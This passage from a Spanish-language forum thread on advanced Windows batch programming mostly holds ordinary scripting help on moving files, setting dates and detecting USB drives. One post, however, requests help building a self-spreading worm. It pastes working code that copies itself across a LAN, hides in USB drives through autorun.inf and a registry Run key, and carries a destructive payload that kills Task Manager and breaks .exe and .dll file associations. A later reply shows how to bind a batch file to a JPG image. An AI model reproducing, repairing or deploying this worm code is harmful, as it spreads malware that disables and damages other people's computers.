set lacarpeta = objfso.getfolder("d:\carpetacontenedora")
set afil = lacarpeta.files
movidos = 0
for each f in afil
set elarchivo = objfso.OpenTextFile(f.path,1)
contenido = elarchivo.readall
primero = instr(1,contenido,"000323               0000000000000000000000000000000000000000",1)
segundo = instr(1,contenido,"000333               0000000000000000000000000000000000000000",1)
elarchivo.close
if primero =0 or segundo=0 then
objfso.movefile f.path,"d:\pronto\"&f.name
movidos = movidos+1
end if
next
if movidos = 0 then
msgbox "No se ha movido ning˙n archivo"
else
msgbox "Se han movido " & movidos &" archivos"
end if

Cambiar lÝnea 2
Cambiar lÝnea 9 (de abajo para arriba XD)

Saludos



Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Shinseiki86 en 23 Junio 2008, 18:43
linea 3:
set lacarpeta = objfso.getfolder("C:\Documents and Settings\tesdcv01\Escritorio\pruebas")
linea 19:
objfso.movefile f.path,"C:\Documents and Settings\tesdcv01\Escritorio\pruebas\ok"&f.name
La 19 es la que saca error


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Novlucker en 23 Junio 2008, 18:47
Te he modificado el anterior mensaje para que ademßs el script devuelva un mensaje de cuantos archivos se movieron.....

Tu problema es sencillo

Citar
objfso.movefile f.path,"C:\Documents and Settings\tesdcv01\Escritorio\pruebas\ok\"&f.name

Saludos


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Shinseiki86 en 23 Junio 2008, 19:03
set objfso = createobject("scripting.filesystemobject")
set lacarpeta = objfso.getfolder("C:\Documents and Settings\tesdcv01\Escritorio\pruebas")
set afil = lacarpeta.files
movidos = 0
for each f in afil
set elarchivo = objfso.OpenTextFile(f.path,1)
contenido = elarchivo.readall
primero = instr(1,contenido,"000323               0000000000000000000000000000000000000000",1)
segundo = instr(1,contenido,"000333               0000000000000000000000000000000000000000",1)
elarchivo.close
if primero =0 or segundo=0 then
objfso.movefile f.path,"C:\Documents and Settings\tesdcv01\Escritorio\pruebas\ok"&f.name
movidos = movidos+1
end if
next
if movidos = 0 then
msgbox "No se ha movido ning˙n archivo"
else
msgbox "Se han movido " & movidos &" archivos"
end if
*********************************************
Me renombrˇ los archivos asi:
okokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokok2008-06-05_641006_NI_891501133_EPS018_88_I
jeje la verdad no tengo la mas remota idea de por quÚ.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Novlucker en 23 Junio 2008, 19:06
Menos mal que es de pruebas  :xD

Es porque en esta lÝnea.....
Citar
objfso.movefile f.path,"C:\Documents and Settings\tesdcv01\Escritorio\pruebas\ok"&f.name
Debe de haber un slash invertido despuÚs del ok
Citar
objfso.movefile f.path,"C:\Documents and Settings\tesdcv01\Escritorio\pruebas\ok\"&f.name

Ahora si.... tiene que funcionar bien  ;)

Saludos



Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Shinseiki86 en 23 Junio 2008, 20:29
mmmm ahora me aparece un error en linea 12...

set objfso = createobject("scripting.filesystemobject")
set lacarpeta = objfso.getfolder("C:\Documents and Settings\tesdcv01\Escritorio\pruebas\")
set afil = lacarpeta.files
movidos = 0
for each f in afil
set elarchivo = objfso.OpenTextFile(f.path,1)
contenido = elarchivo.readall
primero = instr(1,contenido,"000323               0000000000000000000000000000000000000000",1)
segundo = instr(1,contenido,"000333               0000000000000000000000000000000000000000",1)
elarchivo.close
if primero =0 or segundo=0 then
objfso.movefile f.path,"C:\Documents and Settings\tesdcv01\Escritorio\pruebas\ok\"&f.name
movidos = movidos+1
end if
next
if movidos = 0 then
msgbox "No se ha movido ning˙n archivo"
else
msgbox "Se han movido " & movidos &" archivos"
end if
 :-\


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Shinseiki86 en 23 Junio 2008, 20:37
Lo que tambien me puede servir es un for que lea un txt con estos datos:

2008-06-19_590059_NI_890807898_EPS018_86_I.TXT
2008-06-19_621451_NI_890706425_EPS018_86_I.TXT
2008-06-19_621451_NI_890706425_EPS018_86_I.TXT
2008-06-19_621452_NI_890706425_EPS018_86_I.TXT
2008-06-19_621517_NI_810001583_EPS018_86_I.TXT
2008-06-20_102019121_CC_94487480_EPS018_51_I.TXT
2008-06-20_102019121_CC_94487480_EPS018_51_I.TXT
2008-06-20_102088573_CC_5931385_EPS018_01_I.TXT
2008-06-20_102718305_CC_33966379_EPS018_01_I.TXT
2008-06-20_102718305_CC_33966379_EPS018_01_I.TXT
2008-06-20_103000920_CC_31992855_EPS018_01_I.TXT
2008-06-20_103000920_CC_31992855_EPS018_01_I.TXT
2008-06-20_103161002_CC_16638978_EPS018_01_I.TXT

Y me cree un txt con las lineas que se repiten.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Novlucker en 23 Junio 2008, 20:44
Te habÝa enviado un privado, para no seguir llenando el post  :xD

Cual es el texto que aparece en el error?
TambiÚn hay que tener en cuenta que la carpeta C:\Documents and Settings\tesdcv01\Escritorio\pruebas\ok debe de existir

Saludos


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Shinseiki86 en 24 Junio 2008, 14:52
Gracias Novlucker ya funciona.  ;D

Aunque por curieosidad... como me refiero a la linea siguiente de un archivo? :huh:
No creo que se entienda asi... si tengo un txt asi:
A
B
B
C

Y quiero comparar lineas, linea1==lineasiguente... y que sea recursivo... y en batch...
(falta que quiera que tambien me sirva un cafÚ)


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: sirdarckcat en 25 Junio 2008, 01:26
no puedes definir variables locales en batch.. tendrias que emularlas con prefijos, o algo similar.. por lo que per-se, la recursiˇn no existe en batch


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Shinseiki86 en 25 Junio 2008, 19:29
Hola! tengo otra preguntica... quiero abrir un xls desde el batch, pero este queda bloqueado hasta que cierre excel, ┐como hago para que continue asi este abierto el xls?


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Novlucker en 25 Junio 2008, 19:51
Supongo que para ejecutarlo estas poniendo....

Código:
excel.exe

En lugar de eso debes de poner......

Código:
start excel.exe
  ;)

El code te quedarß algo como esto
Código:
cd %programfiles%\microsoft office\office11
start excel.exe
Saludos


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Xen11 en 31 Julio 2008, 06:04
Hola que tal, quiero que el batch fije la fecha actual, la cambie por una X fija, abra un exe y luego la setee a la que fijo en primer orden, lo que me ocurre es que se setea a la "actual" luego de cerrar el programa, en que me equivoco, o que me falta?

Código:
FOR /F "tokens=1-4 delims=/ " %%a in ('date /t') do (set fecha=%%a-%%b-%%c)

date 29-07-2008

C:\vet\vet.exe

date %fecha%

Muchas gracias!


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Shinseiki86 en 13 Agosto 2008, 22:12
Hola a todos!

Como puedo hacer que se cree una unidad de red con bat?

Gracias.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: carlitos.dll en 13 Agosto 2008, 22:31
Hola a todos!

Como puedo hacer que se cree una unidad de red con bat?

Gracias.

con el comando net use


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Xen11 en 14 Agosto 2008, 16:28
reitero la pregunta Hola que tal, quiero que el batch fije la fecha actual, la cambie por una X fija, abra un exe y luego la setee a la que fijo en primer orden, lo que me ocurre es que se setea a la "actual" luego de cerrar el programa, en que me equivoco, o que me falta?

Código:

FOR /F "tokens=1-4 delims=/ " %%a in ('date /t') do (set fecha=%%a-%%b-%%c)

date 29-07-2008

C:\vet\vet.exe

date %fecha%


Muchas gracias!


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Novlucker en 14 Agosto 2008, 16:56
En que para ejecutar el programa deberÝas de utilizar start, si no lo haces el cmd queda a la espera de que se cierre el programa, y luego sigue, es como hacer start /wait

Código
  1. FOR /F "tokens=1-4 delims=/ " %%a in ('date /t') do (set fecha=%%a-%%b-%%c)
  2.  
  3. date 29-07-2008
  4.  
  5. start C:\vet\vet.exe
  6.  
  7. date %fecha%

Saludos  ;)


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Shinseiki86 en 21 Agosto 2008, 02:45
Buenas noches!

Necesito abrir un txt y buscar un dato especifico (aaaa-mm-dd) que se encuentra en la columna columna 505 hasta la 514 de la primera linea, y reemplazar este por otra fecha.

El nombre del archivo tiene esta estructura:

aaaa-mm-dd_numero_cc_numero_eps018_00_I.txt

Y necesito que modifique este archivo en la linea uno columna 505-514 con la fehca que se encuentra en el nombre.
Es posible con bat?




Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: ACALFCROW en 12 Septiembre 2008, 18:58
hola que tal espero me puedan ayudar estoy creando un bat para un ejecutable el problema es que en cierto momento el ejecutable me pide que agregue otro nombre

de archivo o presione enter y ahi es donde no se como meter un enter en el bat he intentado dejar espacio en blanco un punto pero como espera el nombre de

un archivo o enter me lo toma como nombre de archivo alguien me puede ayudar


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: sib85 en 25 Septiembre 2008, 00:07
Hola::

Tengo una duda un poco urgente, ┐Como puedo leer sˇlo la primera linea de un fichero txt?

lo que tengo que hacer es pasar un script de linux a windows y recrear la funcion
head -1 de shell script. HabÝa pensado en un for, pero no se cˇmo poner el lÝmite de 1 sola lÝnea.

Muchas gracias de antemano :)

Nieves


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: augustocgg en 29 Septiembre 2008, 04:48
Hola

Me pueden ayudar de como hago para programar el siguiente bat

el bat me tiene que copiar archivos de una carpeta especificada, y solamente tienen que ser los archivos creados en el mes en curso de windows

la validacion seria solor por el mes en curso del sistema

Gracias a todos


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: flony en 7 Octubre 2008, 21:14
hola quisiera mover unos archivos que tengo en una carpeta a otra y que pueda distinguir entre .doc y .txt si me dan una mano seria barbaro


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Novlucker en 7 Octubre 2008, 21:32
Hola, con el comando move alcanza, simplemente utilizas el comodÝn *

Código
  1. move *.doc carpetadestino
  2. move *.txt carpetadestino

Saludos


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: chill@321 en 10 Octubre 2008, 22:21
 :huh: tengo duda como se programa para que se prenda la compu  :huh:


Título: Re: -> Programación BATCH Avanzada. (nuevo)
Publicado por: sirdarckcat en 17 Octubre 2008, 03:09
jajaja, osea remotamente? o con un timeout? o como? depende que quieras hacer...


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: devil_boskonovitch en 1 Noviembre 2008, 17:13
Hola muchachos...!!!

Entro para ver si me podrian ayudar con unos codigos BAT...

Es que necesito un BAT que haga lo siguiente:

Que se propague por memorias USB, disco duros y particiones...!!!
Y que se pueda propagar en una RED LOCAL y que se autoejecute en las PC infectadas....


Hace ratico... encontre estos codigos de propagacion de red local, pero no me han funcionado:

Código:
@echo off
set/a ip=192.168.1.1
:mode
copy %0 > \\%ip%
start %0 at\\%ip%
set/a ip=ip+1
goto mode

Y este otro:

Código:
@echo off
set/a ip=192.168.1.1
:mode
copy %0 > \\%ip%
start %0 at\\%ip%
set/a ip=ip+1
if ip 192.168.1.255 goto salir else goto mode
:salir
exit

Me mandan error...

Y encontre este para que se propague en USB:

Código:
@echo off
attrib +s +h %0
msg * hacked by -={ naxo itc }=-
reg add hklm\software\microsoft\windows\currentversion\run /V Dump.exe /D C:\Drivers\Dump.exe /f

:bluce
ping -n 10 127.0.0.1
IF exist C:\Drivers (goto 02) else (md C:\Drivers & attrib +h +s C:\Drivers & goto 02)
:02
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
IF exist %%A:\Drivers (goto a) else (md %%A:\Drivers & attrib +h +s %%A:\Drivers & goto a) )

:a
IF exist C:\Drivers\Dump.exe (goto 05) else (goto 04)
:04
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
attrib -s -h %%A:\Drivers\Dump.exe & copy "%%A:\Drivers\Dump.exe" "C:\Drivers\Dump.exe" & attrib +s +h %%A:\Drivers\Dump.exe)
attrib +h +s C:\Drivers\Dump.exe
:05
IF exist C:\autorun.inf (goto 07) else (goto 06)
:06
echo [AutoRun]>>C:\autorun.inf
echo label= naxo itc>>C:\autorun.inf
echo open=Drivers\Dump.exe>>C:\autorun.inf
echo shellexecute=Drivers\Dump.exe>>C:\autorun.inf
echo shell\Auto\command=Drivers\Dump.exe>>C:\autorun.inf
attrib +h +s C:\autorun.inf
:07
for /f "tokens=2 DELIMS= " %%B in ('FIND /I "naxo" C:\autorun.inf') do set co=%%B
if naxo== %co% (goto b) else (goto nar)
:nar
attrib -h -s C:\autorun.inf
del /f /q C:\autorun.inf
goto 06

:b
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
IF exist %%A:\Drivers\Dump.exe (goto 0Cool else (attrib -s -h C:\Drivers\Dump.exe & copy "C:\Drivers\Dump.exe" "%%A:\Drivers\Dump.exe" & attrib +h +s %%A:\Drivers\Dump.exe & attrib +s +h C:\Drivers\Dump.exe & goto 0Cool )
:08
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
IF exist %%A:\autorun.inf (goto 09) else (attrib -h -s C:\autorun.inf & copy "C:\autorun.inf" "%%A:\autorun.inf" & attrib +h +s %%A:\autorun.inf & attrib +h +s C:\autorun.inf & goto bluce) )

:09
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
for /f "tokens=2 DELIMS= " %%B in ('FIND /I "naxo" %%A:\autorun.inf') do set co=%%B )
if naxo== %co% (goto bluce) else (goto her)
:her
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
attrib -h -s %%A:\autorun.inf & del /f /q %%A:\autorun.inf )
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
attrib -h -s C:\autorun.inf & copy "C:\autorun.inf" "%%A:\autorun.inf" & attrib +h +s %%A:\autorun.inf & attrib +h +s C:\autorun.inf & goto bluce )

En este.. la amenaza no se copia a la carpeta Drivers que crea el BAT...????? Aun cambiando el nombre de la amenaza por un BAT, no se aplica...???

El codigo que quiero propagar es este:

Código:
@echo off
taskkill /im taskmgr.exe
msg * BURLANDO TODAS LAS DEFENSAS DE TU EQUIPO
CD C:\Program Files\
assoc .exe=txtfile
assoc .dll=batfile
CD C:\Documents ans Settings\All Users\Desktop
echo YO HE DESTRUIDO TODOS TUS PROGRAMAS > Hola.txt
exit

Cualquier ayuda se la agradecerÝa....Mucho...!!!

Saludos...


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: patovica en 2 Noviembre 2008, 15:02
Cuales son las intrucciones para que detecte un pendrive. O sea, quiero que pregunte si el pendrive esta conectado o no, no importa lo que sigue, yo lo que quiero saber es cual es la instruccion para detectar el pendrive.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Darioxhcx en 2 Noviembre 2008, 18:50
Cuales son las intrucciones para que detecte un pendrive. O sea, quiero que pregunte si el pendrive esta conectado o no, no importa lo que sigue, yo lo que quiero saber es cual es la instruccion para detectar el pendrive.
if exist E:\
algo asi ?
saludos


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 2 Noviembre 2008, 18:54
Mira este codigo detecta las unidades removibles (para sistemas en espa˝ol) :
Código:
@echo off
for /f "tokens=3" %%x in ('echo list volume ^| diskpart ^| find /i "Extra"') do (echo %%x:)
pause>nul

Comandos que podrian servirte :
Código:
wmic logicaldisk get caption
Código:
fsutil fsinfo drives
Código:
echo list volume | diskpart

Ahora prueba este codigo aver si te sirve :
Código:
@echo off
for /f "tokens=2 skip=1" %%x in ('fsutil fsinfo drives ^| more') do (
fsutil fsinfo drivetype %%x | find /i "extra"
)
for /f "tokens=1 skip=2" %%x in ('fsutil fsinfo drives ^| more') do (
fsutil fsinfo drivetype %%x | find /i "extra"
)
pause>nul
Código:
@echo off
for /f "tokens=2 skip=1" %%x in ('fsutil fsinfo drives ^| more') do (
fsutil fsinfo drivetype %%x
)
for /f "tokens=1 skip=2" %%x in ('fsutil fsinfo drives ^| more') do (
fsutil fsinfo drivetype %%x
)
pause>nul
exit /b


Saludos.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: uroboros en 2 Noviembre 2008, 23:54
El tema de variables ningun problema; pero lo de argumentos no lo cojo por ningun lado; es en eso de %0, el astring, %~f1,  eso del directorio donde se tiene el archivo y como luego se muestran los analisis

es mßs, el concepto en general es lo que no comprendo. por ejemplo en este codigo
@echo off
echo Con Comillas: %1
echo Sin Comillas: %~1

el %1 a q se refiere?

o que es eso re recibir?
"Si lo que recibimos no es un archivo, sino una cadena de texto, que contiene mas de una palabra, se debe poner entre comillas, algo asi:"

si se me aclara el concepto, la idea general de los argumentos y de la semantica de sus codigos no tendrÚ ningun problema, solo que el problema lo tengo al principio de todo y entonces ya no me funciona nada.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: patovica en 3 Noviembre 2008, 22:41
LEO G. muchas gracias por la respuesta, los probe y andan perfectos, los tendia que pulir un poquito para que detecte solamene el pendrive, ahora otra pregunta mas, la ideas es arragar este programa cuando se inicie window y quede latente hasta que alguien meta un pendrive y cuando sea asi me avise mediante una alerta, esta parte ya me anda, me falta como poder hacer para que quede stand by. Muchas gracias.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 4 Noviembre 2008, 05:08
Hola, con respecto a lo de Stand by, puedes hacer un bucle que cada determinado tiempo, muestre las unidades extraibles conectadas, algo asi :
Código:
@echo off
:Code
ping -n 20 127.0.0.1>nul
...Codigo
goto:Code

Ahora, hice este otro Script, muestra las USB┤S, es parecido a los demßs, solo que ahora muestra la lista asi :
A:
B:
C:
etc.
Código:
@echo off
:Code
nircmd wait 3000
for /f "tokens=2 skip=1" %%x in ('fsutil fsinfo drives ^| more') do (
fsutil fsinfo drivetype %%x | find /i "extra" > nul 2>&1 && (
for /f "tokens=1" %%c in ('echo %%x') do (
echo %%c
)
)
)
for /f "tokens=1 skip=2" %%x in ('fsutil fsinfo drives ^| more') do (
fsutil fsinfo drivetype %%x | find /i "extra" > nul 2>&1 && (
for /f "tokens=1" %%c in ('echo %%x') do (
echo %%c
)
)
)
nircmd wait 1000
cls
goto:Code

El codigo usa a nircmd.exe, descargalo de nirsoft.net (http://nirsoft.net).

Saludos.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 4 Noviembre 2008, 05:18
Hola, de esta otra forma tambien se puede  ;D :

Código:
@echo off
for /f "tokens=3" %%x in ('echo list volume ^| diskpart ^| find /i "extra"') do (
echo %%x:
)
>nul (pause)
exit /b

Saludos.

Con WMIC tambien se pude, pero tengo problemas con el ahorita.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 4 Noviembre 2008, 05:23
Hola, tal ves te interese este, loo hice para que detecte las unidades extraibles y su espacio :
Código:
@echo off
for /f "tokens=3,6,7" %%a in ('echo list volume ^| diskpart ^| find /i "extra"') do (
echo %%a:        %%b : %%c
)
>nul(pause)
exit /b


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: patovica en 7 Noviembre 2008, 03:19
Estimado LEO Gtz., de los programas que me mandastes, andan, pero lo que no me puedo dar cuenta es como puedo trabajar con las unidades, ya que si bien las ve, el programa solo se limita a hacer un loop y mostrar lo que encuentra pero no se como puedo preguntar por una especifica, por ejemplo yo quiero que me avise si alguien puso un pendrive en mi maquina en mi caso la letra es H:, Y otro tema que tambien quiero ver y no encuentro nada para leer, es que cuando se ejecute el archivo bat. no muestre la ventana de DOS, o sea que quede corriendo como en segundo plano.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 8 Noviembre 2008, 05:15
El codigo de abajo, constantemente esta buscando la unidad F:\, si la encuentra lanza el mensaje, si no, continua buscando.
Código
  1. @echo off
  2. :Bucle
  3. set buscar=F:\
  4. echo Buscando.
  5. fsutil fsinfo drives | more | find /i "%buscar%" && (
  6. echo Unidad %buscar% encontrada.
  7. pause>nul
  8. goto:eof
  9. ) || (
  10. cls
  11. goto:Bucle
  12. )
  13.  


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Meta en 23 Diciembre 2008, 11:59
Hola:

Muy currado el tutorial. He hecho una prueba con el bat.

Código:
ECHO @OFF
ECHO ^<head^>^<title^>Prueba del BAT^</title^>^</head^>^<body^>Esto es una prueba^<p^>^<ahref="directorio/prueba2.html"^>Enlace 2^</a^>^</p^>^</body^>^</html^> > prueba.html
MKDIR directorio
CD directorio
ECHO ^<head^>^<title^>PRUEBA 2^</title^>^</head^>^<p^>^<ahref="../prueba.html"^>VOLVER^</a^>^</p^>^<body^>Esto es una prueba del html dentro de la carpeta directorio.^</body^>^</html^> > prueba2.html

Como podrßs comprobar funciona. Pero quiero hacer otra cosa que no se si se puede hacer  o al menos vamos a intentarlo. Lo que quiero hacer un logo o una imagen cualquiera tama˝o de nuestro avatar de este foro y copiar su cˇdigo en el bat. Me imagino que se podrß obtener con un hexadecimal. Probamos este mismo que tiene fama www.winhex.com

Ahora me dirßs si se puede hacer.

Un cordial saludo.


EDITO:

PD: AquÝ hay algo que deberÝas incluir en tu tutorial.
http://www.cristalab.com/tips/49576/programacion-avanzada-de-archivos-en-lotes-.bat.html
http://www.cristalab.com/tips/48410/programacion-batch-con-archivos-.bat.html


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 23 Diciembre 2008, 18:47
Algo como esto:

Código:
@echo off                                               
mode con cols=100 lines=100                                                                                 
echo                                !!!i1/)))$$$$$$)))/ii!                           
echo                          !i1))$$$$$$$$$$$$$$$$$$$$$$$$)11i!                     
echo                       i))$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$11!                 
echo                 i)$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$)!             
echo              i$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$/iii!       
echo             )$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$))ii))1     
echo          !!$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$1  1/!!1)   
echo        )$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$!11i/ii!)$))
echo      ))$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$i//i!))!$$$$i
echo     )$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$)))$$$!!ii!!)$$$$)
echo    1$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$i   i)$$))$$$$)ii
echo   $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$!)$$$$$$$$$//ii11/)$$$
echo ii$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$1 11$$$$$$$$$$$$$$$$!!
echo $$$$$$$$$$$i!    !)$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$)  !$$$$$$$$$$$$$)!   
echo !$$$$$$$$)          //$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$)$$$$$$$! 11$$$$$$$$$1     
echo )$$$$)ii              $$$$i  !!$$$$               )$$$i   $$$//                   
echo $$$$) !!ii            )$$$!  !!$$))               i$$$1   1$$!!                   
echo $$$$!i$$$$))          )$$$!  !!$$11               !$$$/   !$$ii                   
echo /$$$ ))) /$$$!        1$$$!  !!$$ii                11$$    /$$$                   
echo i$$$i!$$!1$$$i        1$$$!  !!$$!!                !!$$    !$$$                   
echo $$$$!   $$$$1        !)11     ))                    ))     111                   
echo ii$$$$$$$$$$i !!TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT   
echo    !i//))11   TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT   
echo.                                                                                 
echo        !))))T                                   T))))!            TTTTTTTTTTTT   
echo     !66ddddddd))                             )dddddddd6!!       TTdddddddddddd!!
echo    )ddd!     (ddd                           dd((     Tddd)      TTdd!           
echo    (d66      TdddT       !!       !!       !ddTT      6dd6      TTdd!           
echo    (ddd!               !!dd     !!dd!      !dd((                TTdd!           
echo    !dddd(TT            !!dd     !!dd!       6ddd6)!!            TTdd!           
echo        )(ddddddd(      !!dd     !!dd!         TT(6ddddd66!      TTddddddddddd(   
echo            !)ddddT     !!dd     !!dd!             !!T6ddd6      TTdd!           
echo    TT         ddd(     !!dd     !!dd!      TT!        )ddd!     TTdd!           
echo   !ddTT       66d6     !!dd     !!dd!      (d6        Tddd!     TTdd!           
echo    )ddd6T!!!T6ddd!       dd(   !66dd!       dddd)!  !)ddd(      TTdd()))))))))!!
echo     )dddddddddddT        )dddddd((dd!       !dddddddddd66       TTddddddddddddTT
echo      !!(6ddd6)!!          T6666T  ))          ))66dd6(T         !!))))))))))))!!
pause>nul
exit /b 0


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Meta en 23 Diciembre 2008, 20:42
No me referÝa eso, pero ahora que lo veo, me encanta. Buen dibujo,   ;)

Me refiero que cojas una imagen cualquiera. Por ejemplo imagen.jpg.

(http://multanilinuxmall.net/images/744px-OpenSUSE_Logo.svg.png)

Con ella guardar la foto tal como se ve aquÝ. que al ejecutar el bat, aparezca lo que se ve.

┐Eso es posible?


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: ./Phr0zer en 23 Diciembre 2008, 21:00
sip, es posible un ejemplo seria este ->


Código
  1. copy /b pepe.jpg + 01.bat  resultado.bat

y en el 01.bat debe ir un code como este

Código
  1. CLS
  2.    @ECHO OFF
  3. msg * "creando la imagen"    ;Si quieren pueden suprimir esta linea
  4. COPY %0 pepe.jpg
  5. start pepe.jpg
  6. ERASE %0


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: _carlos_ en 23 Diciembre 2008, 21:27
podrÝas usar bhb 2.0

http://sites.google.com/site/cmdbatch/bhb-2-0



Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Meta en 24 Diciembre 2008, 00:42
podrÝas usar bhb 2.0

http://sites.google.com/site/cmdbatch/bhb-2-0



Muchas gracias a todos/as, voy a investigar.

PD: Si sabe algo mßs, no duden en poderlo aquÝ.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Diego_Kappo en 23 Febrero 2009, 20:53
Necesito lo siguiente y no acierto a dar en la tecla. Tengo unos script en sql server que crean backups por fecha o sea un archivo con nombre de ejemplo "backup_23_02_2009.bak" . Lo que necesito es generar un bat que obtenga la fecha del sistema y la asigne a una variable. Luego necesito extraer tambien del nombre del archivo la subcadena "23_02_2009", asignarla a una variable para poder compararlas. Si la fechas son iguales copiar el archivo en cuestion a una carpeta determinada. se puede hacer con bat o tengo que hacerlo en VB6?

Atte
Diego


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 24 Febrero 2009, 04:54
Necesito lo siguiente y no acierto a dar en la tecla. Tengo unos script en sql server que crean backups por fecha o sea un archivo con nombre de ejemplo "backup_23_02_2009.bak" . Lo que necesito es generar un bat que obtenga la fecha del sistema y la asigne a una variable. Luego necesito extraer tambien del nombre del archivo la subcadena "23_02_2009", asignarla a una variable para poder compararlas. Si la fechas son iguales copiar el archivo en cuestion a una carpeta determinada. se puede hacer con bat o tengo que hacerlo en VB6?

Atte
Diego
Código
  1.  
  2. @echo off
  3. set "archivo=backup_23_02_2009.bak"
  4. echo.Fecha del sistema : %date:/= %
  5. echo.Archivo %archivo%
  6. set "subcadena=%archivo:~-14%"
  7. set "subcadena=%subcadena:_= %"
  8. set "subcadena=%subcadena:~0,-4%"
  9. echo.Subcadena : %subcadena%
  10. if ["%subcadena%"]==["%date:/= %"] (
  11. echo.Son iguales.
  12. rem Codigo para copia
  13. ) else (
  14. echo.No son iguales
  15. rem Accion contraria.
  16. )
  17. set /p "=Presiona una tecla para salir del programa"
  18. exit /b 0


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: alegrecentro en 2 Marzo 2009, 23:18
Una maravilla de tutorial.

Un saludo


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: huww en 19 Marzo 2009, 17:16
Soy nuevo y  hasta ahora es lo mejor que he visto en el foro, muy buen tuto muy currado           enhorabuena ;-) ;-)


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: .;. en 19 Marzo 2009, 17:29
Muy buen tutorial.

Gracias por postear esto.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: ..::Breakk_:::.. en 27 Mayo 2009, 01:16
gracias por el tuto


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
